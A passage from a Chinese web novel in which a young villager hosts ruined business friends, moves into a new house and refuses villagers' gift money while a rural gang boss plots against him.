“天扬，这次你那些山货一共卖了六百多万，捞他们出来花了五百八十万，剩下的我们都转给家里了。所以……” 莫天扬抬手打断：“没事，我手头还有些积蓄，日常运转没问题。” “天扬，我们想好了，开门红，就用屠苏。” “王哥，你们之前的那些门路……？” 王传林苦笑摇头：“也不怕你笑话。以前总以为自己人脉广、面子大，可真出了事，一个个躲得比谁都快，大多数直接拉黑。现在别说朋友，连亲戚都躲着我们走。” 莫天扬轻轻一叹。这些年来，他何尝没有经历过这些？世间雪中送炭者少，锦上添花者多。人一旦落魄，又有几个愿意伸手？ “王哥，那我们就从头再来。这一次，一定要看清对方的人品。人品差的，就算送钱上门，这生意我们也不做。” “你说得对。老话说商人逐利，可现在很多人为了一点利益，就能在背后捅刀。和这种人做生意，不如不做。” “涛子，你哪里有烟没，我这里没烟了。” “车上有，我去拿。” “涛哥，我家里有。” 当莫天扬拿着五条华子回来，王传林他们的神情变得很是复杂，前几次过来，他们都会给莫天扬带一些礼物，直到后来知道莫天扬不抽烟，他们才不给莫天扬带烟。 这现在莫天扬拿着华子过来，根本不用说，这些烟都是他们送给莫天扬的，想想过去，再看看现在，每一个人的内心都是复杂无比。 “天扬……” 莫天扬淡淡一笑，“这都是大家伙带过来的，给宏利他们抽了几条，还剩了一些。” 王传林眼眸闪烁了几下，“让涛子带到县里换几条便宜的吧。” “换什么换，留着抽就行，这以后出去办事总不能拿十来块的烟吧。” 王传林几个听莫天扬这一说，瞬间低头，每一个的眼眶都泛红，这一个多月他们不知道碰了多少壁，曾经最好的亲友一个都远离他们，他们从未想过，莫天扬这个和他们结交时间最短的青年到了这个时候还拿他们当朋友。 第一百六十四章兄弟？ 尽管王传林等人如今落魄潦倒，前来投靠莫天扬也只是为了谋一条生路，但莫天扬没有丝毫看轻他们。和从前一样，他亲自下厨，倾其所有，为王传林他们准备了一桌丰盛的午餐。 屠苏端上桌时，王传林等人并未显得兴奋，反而神情复杂，欲言又止。“天扬，这酒……” 莫天扬摆摆手，“今天什么都不用想，就是兄弟们聚一聚，只谈交情，不谈其他。” 这句话让王传林几人顿时眼眶发红。王传林看了看李红军他们，声音有些哑：“天扬说得对。现在我们都是普通人，别再惦记过去的辉煌。大家放下身段，跟着天扬踏实干。等天扬做起来了，我们也有翻身的一天！” 莫天扬朗声笑道：“发达不发达我不知道，但只要我还种地、搞养殖，兄弟们就不愁吃穿。山货管够，你们放开了吃！” 这番话仿佛点亮了几人眼中的光，脸上的颓唐也一扫而空。“没错！那些有钱人见都没见过的好东西，在咱们这儿就是家常便饭！该他们羡慕我们才对！我得拍个视频发朋友圈！” “对，必须拍！” 莫天扬目光微动，出声提醒：“大家拍视频可以，但别透露食材的具体信息，更不要说来源地。这些确实是顶级的山货，可每一种也都可能是‘催命符’。就这段时间，我在山里已经遇上好几次危险，要不是大青、小白，我未必能走得出来。” “真的这么险？”李红军问着，眼中却闪过一丝不易察觉的失望。 莫天扬郑重地点头：“非常危险。我亲眼见到三头四百多斤的野猪被猎杀，其中还有一头野猪王——那样的家伙，就算是大青带着狼群也不一定敢动。” 几人闻言，不由得倒吸一口凉气。他们和莫天扬相识时间虽不长，却深知他为人真诚，绝不会在这种事上夸大其词。若真没有危险，他早就带着陈宏利他们一起进山了。 “大家动筷吧。除了你们之前尝过的，这次我还准备了黄鳝、松茸、紫皇菇——这三样，别的地方就算亿万富豪也未必吃得到。” 王传林等人眼睛一亮。他们从前都是“老饕”，如今竟有机会品尝这些传说中的山珍，自然不愿错过。 心结暂解，餐厅里终于有了欢声笑语。只是酒过三巡，这群喝多了的汉子说着笑着，竟开始默默流泪。 对又哭又笑的王传林几人，莫天扬没有劝解。他们在这一个多月里经历了太多——从风光无限跌至一贫如洗，换作别人或许早已崩溃。现在的他们，需要一场彻底的宣泄。只有将心中的苦闷释放出来，才有可能真正重新站起。 夕阳西沉，王传林等人早已醉得不省人事。莫天扬看向唯一没喝酒的张学涛：“涛哥，他们几个……” “我在浅驼给他们订了房间，这就叫车来接。” 莫天扬点点头，沉吟片刻又道：“等他们醒了，别提今天的事。如果还是放不下，就让他们再醉几场。” “明白。” “涛哥，公司那些手续还在你那儿吧？” “在的。” “我转你二十万。等王哥他们心态调整好了，让他们在沛川找个地方把公司重新办起来。但先别运营——离开西北，去其他城市设个分公司，在外地起步。到时候我再筹备一些资金作启动用。” 张学涛微微一怔，“天扬，王哥他们在沛川经营多年，人脉都在这里，只要公司一开，肯定很快……” 莫天扬摇头打断：“所谓人脉，还不就是那批人？我打听到一些风声，这次王哥他们是得罪了一位大人物，那人在西北地区黑白通吃。如果还在沛川发展，对方肯定还会出手。不如去别处重新开始，沛川这边只做基础支撑。” “天扬，这些你都是从哪里听来的？” “那天你和王哥去燕京，我出门转悠的时候，偶然听到有人在闲聊。他们说，既然对方已经对王哥他们出过一次手，就很可能有第二次。在没有把那些人揪出来之前，沛川那边恐怕只能当作一个中转站，并不安全。” “原来是这样……” 莫天扬眼神闪烁了几下，低声说：“这件事，能不对他们提起就尽量不提，免得他们再多担心。” 送走了王传林一行人，忙完活、正等着吃饭的胡标和陈宏利等人围了过来。“天扬，他们几个好像和以前不太一样了，是不是出什么事了？” “他们公司那边确实出了些问题。”“那他们这次来……？”“处处碰壁，心里憋屈，来我这儿喝喝酒、说说话，发泄一下。” 胡标和陈宏利等人彼此对视一眼，神情都有些凝重。他们都是最早跟着莫天扬干活的，清楚当初莫天扬盖房子的钱，还是王传林他们借的。如今王传林他们遇上麻烦，大家第一反应就是：他们是不是来要债的？ “天扬，要是他们真要钱的话，我这儿还有一些……” “是啊，我手头也还有点……反正现在也用不上，你如果需要的话就拿走。曹勇也随声附和。 看着胡标、陈宏利他们一个个都想掏出家底帮自己还债，莫天扬心里涌起一股难以言喻的暖流。 王传林他们出事后，以前的亲友都急着撇清关系；可眼前这些没什么文化的村民，却第一时间站出来要帮他。这种情义，绝不仅仅是几句话能表达的。 莫天扬淡淡一笑，宽慰道：“真没事，他们来就是找我喝喝酒，根本没提钱的事。” “天扬，现在他们也不好过，万一他们……” “放心，他们这趟来，除了喝酒，主要还是为了屠苏。” “那就好……总之需要钱就开口啊！”胡标等人深吸口气，每一个人的眼眸中满是真诚。 “大家忙一天都累了，收拾收拾，准备吃饭吧。” 就在莫天扬他们收拾吃饭的同时—— 沛川郊区，一个占地不小、但外表看起来很普通的农家大院里，三条体长近两米的藏獒正警觉地巡逻。 房间内，李明宇穿着一身朴素的农民衣服，正坐在炕上静静品茶。地下站着一个三十多岁、全身奢侈品牌的中年男人，神态恭敬，眼神里藏着一丝不易察觉的畏惧。 “老八，王传林那几个人是什么情况？他们所有资产明明都被查封了，哪来的钱把手下那几个人弄出来的？” 老八深吸一口气，答道：“大掌柜，他们几个的确身无分文了，连王传林自己吃饭都成问题。但他前些天突然去了趟燕京，回来就交了五百多万。交了款项，李红军那几个就出来了。” “这么说……他是又找到靠山了？”李明宇皱了皱眉头，眼眸中流露出一丝冷意。 “目前还不清楚。虽然人都出来了，但个个背着一身债，再过段时间全得上失信名单。沛川这边的人脉都躲着他们，亲友也没人愿意搭理……他们几乎翻不了身。” 李明宇冷冷一哼：“我倒盼着他们挣扎几下，那样我还能多赚一笔。这次赚了多少？”“一亿六千万。不得不说，王传林那帮人还真有点家底。” “他们手上还有没有别的产业？” “都查过了，除了他们最早的老房子，啥都没剩。不过……” “说。” “他们今天去了青木村。” 李明宇眼神微动，“怎么，混不下去了，去找莫天扬讨债？” “还不清楚，但每个人都喝得烂醉。下车的时候都是被人抬进宾馆。” 李明宇点头，“莫天扬最近在干什么？” “他包了二百多亩沙地，还拿下一条荒沟的经营权，这几天一直在那儿整地。看样子明年要大干一场，对了，听村里人说，他好像在酿酒，酒味特别香。” “打听一下，他酿的是什么酒。” “大掌柜，莫天扬不过是个小角色，何必在意他？要是您觉得碍事，我派人直接把他……”老八边说，边比了个“抹掉”的手势。 李明宇轻轻啜了口茶，缓缓道：“解决他容易。但我总觉得，这小子背后有点意思。” “那要不要派人……” “青木村地方小，生人一眼就能被认出来，别特意去盯。那边自然有人看着。你现在的任务，是摸清王传林的钱从哪来的，以及他们下一步想干什么。” “大掌柜，他们难道还能……” 李明宇冷笑一声：“他们做了不该做的事，帮了不该帮的人。既然错了，就得付出代价——我要让他们生不如死。” 老八点点头，不过他的心里很是疑惑，王传林这些人和他们没有任何的交集，可在一个多月前，他们的大掌柜突然间要对王传林动手，这一个多月他们都在疑惑。 这现在他终于从大掌柜这里听到了一点消息，那就是王传林那些人做了让大掌柜不高兴的事情。 只不过他依旧在疑惑，王传林那些人到底做了什么，让大掌柜不给他们留下一丝辩解的机会。 第一百六十五章交付新房 “哥，我知道那小畜生酿的是什么酒。”老八走后，李翠花从里间踱步出来，脸上蒙着一层阴霾，语气里满是戾气。 “什么酒？” “屠苏。胡标他们都喝过，说比茅台还香。” “屠苏失传上千年了，他从哪儿弄来的方子？” 李翠花摇了摇头：“他们口口声声说的是‘屠苏’，至于是不是真东西，谁也说不准。不过莫啸那老东西以前在外头待过不少年头，厨艺很有一套，没准真是他留下的方子。再说，他以前自己也酿过酒，味道确实不差。” “那时候你们就没留意？” “饭都吃不饱，谁顾得上研究他酿的是什么……” 李明宇眯了眯眼。如果真是好酒方子，那可是一本万利的买卖，必须弄到手。 “自从那小杂种回村，老三没了，栓子接连被抓……全都是他害的！要不是他，老三怎么会……” “小妹，你放心，”李明宇声音低沉，“我会让他生不如死。不过这小子身上恐怕还藏着什么秘密，在那之前，不能让他死。” 他顿了顿，转而问道：“栓子这几天怎么样？” “他能怎么样？咱们李家哪个不能独当一面？偏偏就他是个废物……我看就是随了莫家那没用的血脉！” “安云飞呢？” 李翠花冷笑一声：“也是个废物。林浩宇那事爆出来之后，他天天准时下班回家，门都不出。” “小妹，林浩宇可是林家的人。林家不仅在西北，在全国都有些人脉。能把他送进去，连林家都不敢插手——动他的人绝不简单。你在浅驼那边，就没听到什么风声？” “林浩宇本来就不是个东西，祸害了多少人……听说还把个女孩的父亲弄进去了，本来那天还想对那女孩下手，结果正巧碰上突击检查……” 李明宇摇摇头：“事情没那么简单。如果浅驼那次是意外，沛川这回就太蹊跷了——那些人可不像是会把自己爆出去的。” “哥，你跟林家……有没有联系？” “我一农民能做什么？不过下边的人倒确实和林家有些往来……” “那能不能托林家给栓子找个事做？有点正经事忙，他说不定能安分点。” “回头我问问看。” …… 几日后，青木村。 天气渐渐转凉，早晚单衣已抵不住寒意，简易工房里早晚都得开空调。 院子中央，一个十多米深的大坑如同巨兽张开的嘴，工人们正在坑底一丝不苟地搭建圈梁。 莫天扬站在坑边凝神看着，大青安静地蹲在一旁。 “天扬，我到处找你，原来你在这儿。” 莫天扬闻声回头，见是吕建国走了过来。他拍了拍大青，大青乖巧地跑开了。 “吕哥找我有事？” “我刚去楼房那边转了一圈，已经没味儿了，可以置办家具了。” 莫天扬望向北面那栋古朴的二层小楼，眼里闪过一丝激动：“吕哥，这房子一共花了多少？” “当初王总他们预付了一百二十万。你这楼是复古样式，上下除了大客厅、餐厅、两个厨房，还有十八个房间，每间都带独立卫浴。全部下来九十六万。要是算上外面地下室和雀沟加固的部分，你再补我十三万就行。” 莫天扬点点头：“好，回头我把尾款转过去。” 吕建国应了一声，眼神有些游移，犹豫着开口：“天扬，听说王总他们……遇上麻烦了？房子车子都被查封，公司也拍卖了。他们那天来，该不会是……” 莫天扬心中微微一动。吕建国是王传林介绍来的，按理早该知道他们出事，却直到现在才提起……这其中怕是有些微妙。 “他们是遇到了些困难，不过那天来也就是坐坐。他们已经新注册了一家公司，以他们的能力，东山再起不是问题。” “他们几个为人一向不错，也不知道是惹了什么事。我早些天就听说了，本来想着等他们周转过来再跟你说，没想到连公司都破产了……你这房子是他们投的，我是怕你担心，才一直没提。” 莫天扬苦笑了一下：“我也没想到，一个多月时间，就变成这样……” 吕建国连连叹气：“他们以前朋友那么多，出事了却没人肯伸手。你重情义，还好吃好喝招待他们。” “吕哥，他们找过你吗？” “找过……但我也就是个小包工头，之前给王总垫了四十多万，现在看来，这钱也不知道什么时候能要回来。天扬，我想跟你商量个事。” “你说。” “我想把你这边的工钱先拿去补王总的窟窿。到时候我会跟我老婆说，你这儿还差点尾款没结。你如今产业在这儿，她不会怀疑。等我后面接到新工程，再慢慢补上你这边的。” “没事，本来我就欠着王哥他们的情。你想帮他们，我理解，就按你说的办吧。” “那太谢谢了。我在沛川认识几个做家电、家具的朋友，你需要什么列个单子，肯定给你优惠价，还能送货上门。” “行，改天你有空，咱们一起去房里看看，你帮我参谋参谋。” “现在就有空，咱们先过去看看。这两天我安排人把过来的路再修整一下，等家具一到，你们随时都能搬进去。” “好，我叫他们一起过来。” 莫天扬一个电话，曹慧、曹建华，还有正在村里办公的刘思雨都赶了过来。胡标他们一听要看新房，也兴致勃勃地跟了上来。 一进楼门，眼前是一个面积超过百米的大客厅，前后通透、明亮大气。吕建国指向右侧介绍：“这边是厨房、餐厅，还有一个大卫生间。最边上是一间储藏室，有侧门可以直接进出，以后蔬菜粮食什么的都可以存放在这儿。” 等吕建国带着大家上上下下转完一圈，莫天扬看向刘思雨、曹建华和曹慧：“大家都仔细看看，怎么布置合适，提提想法。” 曹慧连忙摇头：“天扬，我还没见过这么气派的房子呢，这个我真不懂，让思雨说吧。” 刘思雨轻声一笑：“其实我也不太在行，不过若曦在那边认识一些专业做软装的朋友，我多拍些视频发给她，请人帮忙看看。” 莫天扬笑着点头：“那最好不过。等下吕哥把每个房间的尺寸发我，我转发给你。” 刘思雨和曹慧开始认真拍摄视频，吕建国则领着莫天扬从厨房后门走出去，进了和厨房相连的一间三十多平米的独立小屋。 吕建国指着一台中型的供暖锅炉说道：“天扬，青木村毕竟是农村，供电偶尔不太稳定，所以我特意在这儿装了一台供暖锅炉。冬天你可以用电，也可以用这个烧煤取暖，旁边还预留了储煤的地方。” 莫天扬透过房间的窗户望出去，楼后竟也整理出一片空地，建了两座雅致凉亭、几处花坛，就连蜿蜒的小路都用碎石铺得整齐利落。 “吕哥，真是费心了。连休闲、乘凉的地方都给想到了。” “你这里没有下水体系，这后面主要是污水池、化粪池，虽说我也做了处理，不过夏天的时候还是会有一些气味，只要种一些花草就没事了，那个时候不知道你能拿下西面的那片地，要不然的话将这两个池子弄到那边。” 说话的同时，吕建国又推开一扇不起眼的小门：“来，这儿是通往楼房地下室的通道，跟厨房相连，进出很方便。下面我都装修好了，现在就能用。” “另外，按你之前提的，储水池设在二楼楼顶，全密封处理，绝对放心。储一次水够日常用三到五天，每两三年清洗一次就行。” “那水井那边怎么样了？” “井里的潜水泵已经换了大功率的，连续转十个小时都没问题。不过天扬，村里不是有自来水吗，怎么不用那个，偏用自家井水？” “我们这自来水价不低，要是拿来浇地，我可就亏大了。再说院里这口是老井，出水量大，水质比山泉水还好。” “怪不得工人们每天都直接打井水喝……” 整整两个小时，莫天扬一行人才回到简易房这边。刘思雨一回屋就忙着联系若曦去了，胡标几个朝莫天扬竖起大拇指： “天扬，你这房子就算拿到浅驼去也是独一份！也就是在咱们村，这要是在浅驼，没个一百万或许拿不下来吧。” 莫天扬淡淡一笑：“、差不多吧，也是王哥他们说偶尔想来住住，要不然，我也就是把老屋翻新一下算了。” “啥时候搬？我们来暖房！” 莫天扬朗声笑道：“没问题！以后吃饭就不用都挤在这小地方了。” “那可不合适，”胡标连忙摆手，“你那餐厅是招待贵客用的，我们每天一身土一身泥的，坐那儿吃饭都不自在。回头把吃饭的地方挪到酒坊那边，我们在那儿吃就挺好。” 莫天扬心里微微一怔，随即也明白过来。那个餐厅最多也就能容三十多人聚餐，万一王传林他们来了，胡标这帮弟兄要是也过来，确实坐不下。 “到时候再看，总能有办法安排。” 第一百六十六章拒收份子钱 接下来的几天，莫天扬依旧每日进出青木山，而村里那座大院，也一日日愈发显出气象。院中水泥路一通，运送家具、家电的车辆便接连驶入青木村。 家电在这年头虽不稀罕，可这样成车地往山村里送，仍是件轰动事儿。全村老小几乎都聚到大院外围观，啧啧称奇。 更让大家难以置信的是，莫天扬从动工到入住，仅仅用了两三个月。一栋二层小楼就这么神速地立了起来，还能马上搬进去——这完全颠覆了村里人“盖房至少半年”的老观念。 家具进屋第三天上午，村民们又一次早早聚到大院外。消息早已传开：莫啸、莫天扬爷孙俩今天正式搬新家。按村里习俗，搬新家要请人“暖房”。 若放在几个月前，莫天扬搬新家，恐怕没几个人来。那时他穷得叮当响，谁也不想凑这个热闹。可现在不同了。他种菜、发豆芽赚了钱，还雇了胡标这些走得近的乡亲帮忙，每人每月三千多块的工资，让不少人眼热心动。 因此，除了胡标他们，许多盼着来年也能跟莫天扬干的，哪怕家里年轻人外出打工，老人也都换上干净衣裳，揣上礼钱，赶来暖房。 莫天扬早料到人多，提前就从县里订了一头四百多斤的肥猪、五只羊、几十条鱼，蔬菜更是成车地往回拉。天还没亮，临时灶台边就忙活起来，肉香飘出老远，惹得人直咽口水。 “天扬，村里人来问，礼钱在哪儿交？”胡标走过来问。 莫天扬放下大勺，抬头看见胡标身边站着两位白发苍苍的老人，再往远处看，聚过来的村民大多头发花白，人群里几乎看不见几个青壮男人，只有几位三四十岁的妇女搀着长辈。 “张爷爷，您怎么站这儿，快去帐篷里坐。”莫天扬赶忙迎上去。 老人颤巍巍地从衣兜里掏出一叠整理得整整齐齐的纸币，说道：“天扬，你今天搬新家，你叔婶在浅驼带孙子回不来，明子他们又在外面打工……我这是替他们来给你上点心意。” 莫天扬连忙拦住：“这钱您留着自个儿买烟买酒，我真不能要。” “那怎么行？这是老规矩……” 莫天扬深吸一口气，望向越聚越多的乡亲，抬高声音说：“大伙今天能来，就是看得起我们爷孙俩！这份心意我和我爷爷领了，但钱，我们绝不收。大家要是实在过意不去，就帮忙摆摆凳子、洗洗碗。中午都别走，好好吃一顿！” “天扬，这不好吧？”一位大婶接话，“暖房上份子是老传统，你不收，往后别人家办事可咋办？” 莫天扬转头对胡标说：“标叔，别人家我管不着。那些年我们爷俩困难的时候，没少受咱村照顾。如今日子稍微好过一点，怎么能收大家的钱？您帮我传个话：今天一律不收礼。另外，去雀沟那边也说一声，叫干活的乡亲们中午都过来！席面不算好，但管饱！” “天扬，你盖这房子肯定花了不少，这点心意你该拿着，要不我们哪好意思白吃？” “婶子，都是一个村的，你们能来，我就很高兴了。这钱真不能收。” 正当众人犹疑之际，莫啸从人群中走了出来。他虽然年岁已高，可说话依然掷地有声：“天扬说不收，就不收。以后天扬要是有什么难处，大伙记得搭把手就行。” “莫叔，咱们村谁没受过您的恩？帮忙是应当的！可这礼……” “天扬如今能赚点钱，这顿饭他还请得起。”莫啸笑了笑，语气温和却坚定，“将来他若有个马高镫短，你们别嫌他就成。” 莫啸一发话，老人们纷纷点头，不再坚持。 胡标见状，连忙招呼大家：“都别聚在这儿了！看看哪儿要人手，伸把手帮帮忙！今天除了咱村的，还有雀沟那边八十多个干活的兄弟要来。谁家还有凳子、圆桌，都搬过来凑一凑！” 人多就是力量大。不到中午，帐篷底下就已摆开了近百张餐桌。因为莫天扬坚持不收礼，前来暖房的乡亲们反而更觉该出点力，洗菜、端盘、摆桌、烧火……个个忙得踏实，脸上都洋溢着暖意。 有村民帮忙，胡标他们轻松了不少。莫天扬抽空找到胡标：“标叔，中午人不少，宏利他们正好去县里提车，回来时让他们多带点白酒、啤酒。” 胡标犹豫了一下，低声道：“天扬，你不收份子钱，弄点散装酒就行了，啤酒别买了。” “标叔，大头都花了，不差这点。我已经联系了张学涛那边，让宏利过去直接拉货就行。” 临近中午，陈宏利、莫红兵开着一辆崭新的皮卡回来，车斗里装满了酒水饮料。人们过去搬酒时，听说这车也是莫天扬买的，更是眼热不已。村里人最多也就买拖拉机、摩托车，买汽车，莫天扬还是头一个。 等酒水搬完，几个没事做的村民主动打水洗车，连皮卡都擦得锃亮，让不远处忙活的莫天扬看得直摇头。 中午时分，雀沟的工人们也陆续上来，洗漱之后纷纷过来道谢。有人还想塞份子钱，都被莫天扬一一谢绝，工人们感激不已。 等到炖肉、大虾、炖鱼、烧肉、丸子一道道硬菜端上桌，来暖房的人都看直了眼。他们参加过不少暖房酒，可从没见过这么丰盛的席面——这规格，连结婚喜宴都未必比得上。 尝过之后，更是赞不绝口，每一道菜都比饭店里的还好吃。 “天扬，你这席面肯定花了不少吧？上次我在县里吃席都没你这好。味道更是没得说，你要是开饭店，肯定天天爆满。” 莫天扬笑了笑，看向一个外村来打工的中年汉子：“自己买肉买菜做，肯定省不少。要是雇人做，同样的钱可出不来这效果。”说完又看了眼桌上的菜，“炒菜就这一轮，不过炖肉还有，吃完说一声，我让人再盛。” 一顿饭下来，几大锅炖肉吃得干干净净，人人都揉着肚子，心满意足。空酒瓶在墙角堆成了小山。 因为没收份子钱，乡亲们格外过意不去，散席后抢着把桌椅碗筷收拾得干干净净，才陆续离开。 人散尽后，陈峰、胡标、曹勇找了过来。“天扬，四百多斤的猪就剩不到五十斤，羊也只剩一只。你心意是好，但恐怕有人背后要说你傻。” 莫天扬淡淡一笑：“傻就傻吧，反正那些年人们也没少这么说。他们能来捧场，我已经很知足了。多少年没这么热闹过了。” 胡标几个叹了口气，没再多说。“天扬，今天就能住进楼房了，那边……” “把餐厅、会客室先拆了，挪到酒坊那边搭起来。其他的暂时留给工地工人，等他们完工再说。” “慧姐，现在房间多，你也搬过来吧，正好和思雨做个伴。” 曹慧愣了一下，眼中泛起一丝激动：“行，我这就去找思雨。” 莫天扬笑道：“别忘了准备食材，晚上还有朋友要来。” “晚上还有人？” “王传林、张学涛他们，上午人说太多，晚上过来。刚才您们都忙着招呼人，没顾上说。晚上好好喝点。” 走进大院，莫天扬不禁有些感慨。一上午进出院子的人络绎不绝，可路面依旧干干净净，显然是村民们离开时连地都扫过了。 楼房客厅里，一套能坐三四十人的大沙发占了不少地方，对面是一台一百多寸的大液晶电视，茶几上摆满了瓜果零食。刘思雨正懒洋洋地窝在沙发里看电视，一副惬意自在的模样。 见莫天扬进来，刘思雨坐起身，笑吟吟地问：“外面忙完啦？”那语气自然得仿佛她就是这里的女主人。 “忙完了。标叔他们拆那边的餐厅和会客室，我回来准备晚饭。慧姐呢？” “上二楼选房间去了。” “选什么，一楼你和若曦房间旁边不是还有空房？” 刘思雨俏脸一红，丢给他一个白眼：“你个傻子。对了，慧姐说晚上还有人要来，是王传林、张学涛他们吧？” “对，他们说中午人多，晚上过来。现在空房间多，都能住下。” “你这今天免费给人们吃喝，你或许是好心，可对于村里很多人来说，你就是人傻钱多。” 莫天扬深吸口气，“那不过是一些喜欢占便宜的人的想法，你也看到这一上午有多少人帮忙，百十来块对于我来说算不了什么，可对于很多人家那可是半个月、一个月的生活费。” “只是为了这些。” 莫天扬不由得摇摇头，“我在村里发展，免不得需要人手，另外像莫栓、林浩宇这样的人很多，没准那一天他们就会针对我，村子就这么大，对他们好一点，一旦有个风吹草动，我会第一时间知道。” 刘思雨点点头，指了指身边，“你过来，我有话问你。” 莫天扬坐下来，一股女孩独有的幽香传来，这让莫天扬心里涌动出异样的感觉，“问什么？” “你给我打电话的那天晚上，执法者调取了监控，说那天晚上有两个人冒充工作人员进入钱柜，现在他们怀疑那天林浩宇事情是那两人做的，他们已经暗中调查找寻……” 莫天扬微微一愣，他看向杏目中满是情愫的刘思雨，“你该不会说我是其中一个吧。” “还真的是这样想的，毕竟那天晚上你就在浅驼，你担心我所以就去救我。” 莫天扬哈哈一笑，“那是不是你的以身相许。” “行啊。” 莫天扬落荒而逃…… 第一百六十七章帝国雏形 “思雨，你们笑什么呢？”从楼上下来的曹慧看着笑得前仰后合的刘思雨，笑着问道。 刘思雨脸颊微红，瞥了眼走进厨房的莫天扬，咯咯笑起来：“慧姐，我逗傻子玩儿呢。” 曹慧是过来人，哪会看不出两人之间那点微妙。她抿嘴一笑，也不点破，只道：“房间我选好啦，就在楼梯口那一间。我先去准备晚上要用的食材。” 刘思雨眼睛转了转，也跟着说：“我也去看看！” 厨房里，曹慧是正经帮忙，刘思雨却分明是来捣乱的。偏偏莫天扬还不好说什么，只能由着她，倒把曹慧逗得笑个不停。 “大小姐，您还是出去看电视吧，”莫天扬终于忍不住，哭笑不得，“你真不是做菜的料。” 刘思雨咯咯笑着洗了手，趁曹慧没注意，悄悄在莫天扬腰间轻轻捏了一下：“我回趟浅驼。” 莫天扬一怔：“回家？” 从颜若曦离开，刘思雨几乎每晚都会回家，这现在搬了新家，原本会觉得刘思雨会留下来，却不想…… 看着莫天扬意外的样子，刘思雨的心头一暖，“昨天我爸妈也提起来，说上午人多，我就想着晚上叫他们过来。正好你请客，让他们也来蹭顿饭。” “那路上慢点儿。” 刘思雨一走，曹慧眼含深意地看向莫天扬，轻声问：“天扬，你觉得思雨和若曦，哪个更好？” 莫天扬苦笑着摇摇头。颜若曦、刘思雨都是天之骄女，又都对他有意思，他一时还真难做抉择。 见他不说话，曹慧探头望了望外面，压低声音：“天扬，思雨和若曦都对你有意思。要我说，你干脆两个都拿下算了。我瞧她们俩腰细屁股大，一看就是能生儿子的，你们这一支肯定能兴旺起来！” 莫天扬顿时老脸通红：“慧姐，你说啥呢……” 曹慧噗嗤笑出声：“我可说真的，你听我的准没错。” “你们聊啥呢，这么开心？” 莫天扬和曹慧抬头，见胡亮从外面走了进来。这段时间调养下来，他走路已经和常人没什么两样。 “亮哥，今天可辛苦你了，去外面歇会儿，喝喝茶、看看电视吧。” 胡亮意味深长地看了曹慧一眼，笑道：“没事儿，外面拆房盖房，我腿脚还不利索，二叔不让我插手。我过来看看家里有啥能帮忙的。” 曹慧笑着指了指一旁放鱼的盆：“那你帮忙处理鱼吧，记得洗干净点。重活你现在干不了，就给我打打下手。” “行！”胡亮眼中一亮，但还是先看向莫天扬。 莫天扬点点头：“冬天重活多，亮哥你还没全好，以后就多帮帮峰叔和慧姐他们。” 晚上王传林他们要来，刘思雨的父母也要求，莫天扬准备得格外用心。正炖着肉，刘思雨就带着刘成祥、杨丽进了门。 房子装修虽不豪华，却自有一番大气格局，刘成祥和杨丽看得连连感叹。 “天扬，一直以来我们都想错了，总觉着农村上不了台面。现在看，是我们目光短浅。你这房子别说住了，光是看着都舒心。” 莫天扬笑了笑：“喜欢的话，以后常来。等到了夏天，院里种上菜，晚上坐在外边，更舒服。” “那敢情好。天扬，思雨说你晚上有朋友来，我们过来不会打扰吧？” “不会不会。思雨，你去给叔叔阿姨倒茶。” 刘思雨俏生生走到莫天扬面前，递过一个盒子：“我爸妈也不知道你喜欢什么，这是我舅舅送我爸的一块手表，送给你。” “这太客气了，真不用……”莫天扬连忙推辞。 刘思雨咯咯一笑：“我爸不敢戴，送你你就拿着嘛。” 杨丽也温和地说：“天扬，我弟弟送他的，不算什么值钱东西，你就收下吧。” “行，那谢谢叔叔阿姨了。” “叔叔、阿姨，您二位先和思雨聊会儿天，我去厨房忙了。” “让你叔叔去给你搭把手吧。自打上次思雨带回去你炖的肉，我们家做什么菜都觉得不香了。正好让他跟你好好学学，等退休了，我们老两口也琢磨着在村里开个小饭馆。” “妈，您怎么把实话都说出来啦！”刘思雨嗔怪道。 杨丽笑着看了眼刘成祥，语气感慨：“那些年啊，总盼着你爸升职，觉得待在农村没出息。现在才明白，真正舒坦自在的还是农村。等以后天扬把青木村发展起来，来的人肯定越来越多，我们就在这儿开个家常菜馆，挺好。” 莫天扬听了朗声笑道：“行啊，那叔叔可得认真学两手了。” 日落西山，干活的乡亲陆续回家，张学涛、王传林一行人才姗姗来迟。虽已不复往日风光，但每个人手里都提着礼物，情谊不减。 “天扬，之前我们也看过设计图纸，这实际建出来的，好像和图纸不太一样？”有人打量着楼房问道。 一同前来的吕建国笑着接话：“天扬后来改了不少方案。虽说他没正经学过设计，可提出的想法还真挑不出毛病，效果出乎意料。” 王传林几人纷纷点头：“这楼房设计得确实好，等院子全部弄好，夏天住进来，神仙日子也不过如此。天扬，回头我找人弄些果树苗过来。” “王总，您吃过金银枣吗？” 王传林几人一愣：“金银枣是什么？” 吕建国指了指莫天扬，解释道：“是天扬从青木山里带出来的一种大枣。吃了金银枣再吃别的枣，那感觉就像嚼木头似的。还有黑草莓，那味道更是绝了。” 众人的目光齐刷刷投向莫天扬。他笑了笑说：“等有空我再进山看看，顺便移些小枣树回来，明年不用进山，大家就能吃上了。” “王哥，你们先坐会儿，饭菜马上就好。思雨，你帮忙招呼一下。” 王传林几人看向刘思雨，他们都见过这姑娘，却不认识杨丽：“这位是……” “这是我妈妈。听说天扬盖了新房子，也过来一起暖房。” 王传林几人会意地交换了眼色，看向厨房里忙碌的莫天扬，再回头看看正忙着斟茶倒水的刘思雨，眼中都流露出释然的笑意。 夜幕低垂，胡标他们回来见到王传林一行，犹豫了一下说道：“天扬，这么多人怕是坐不下。那边餐厅已经搭起来了，要不我们过去……” “那边还没收拾利索。大家都留在这儿吧，您几位在餐厅，我们几个去客厅也行。” “还是我们去客厅吧。” “别客气，我们过去就好。” 一道道菜肴端上桌，不仅是刘成祥、杨丽，就连见过世面的王传林等人都感到惊讶。 他们来过几次，知道莫天扬能弄到青木山的顶级山货，但这次除了以往的珍馐之外，竟还有鲜活海鲜。这样的席面，就连他们也很少见识。 “天扬，这也太丰盛了，连海鲜都弄来了？你不是说不会做海鲜吗……” “我爷爷会。我买了几次，照猫画虎试着做，也不知道合不合口味。这些都是活海鲜，是吕哥特意托人运来的。” “那我可得好好尝尝。” 一口下去，王传林几人纷纷朝莫天扬竖起大拇指：“这海鲜做得真地道，比沛川专做海鲜的馆子还强！以后我们有口福了。” 酒过三巡，莫天扬缓缓开口：“王哥，你们那边准备得怎么样了？” “你建议我们去外地发展，就在郊区租了个小厂房，价格倒不高，就是位置有点偏。天扬，为什么不让在沛川做？虽说我们如今落魄了，但至少还有些人脉。” 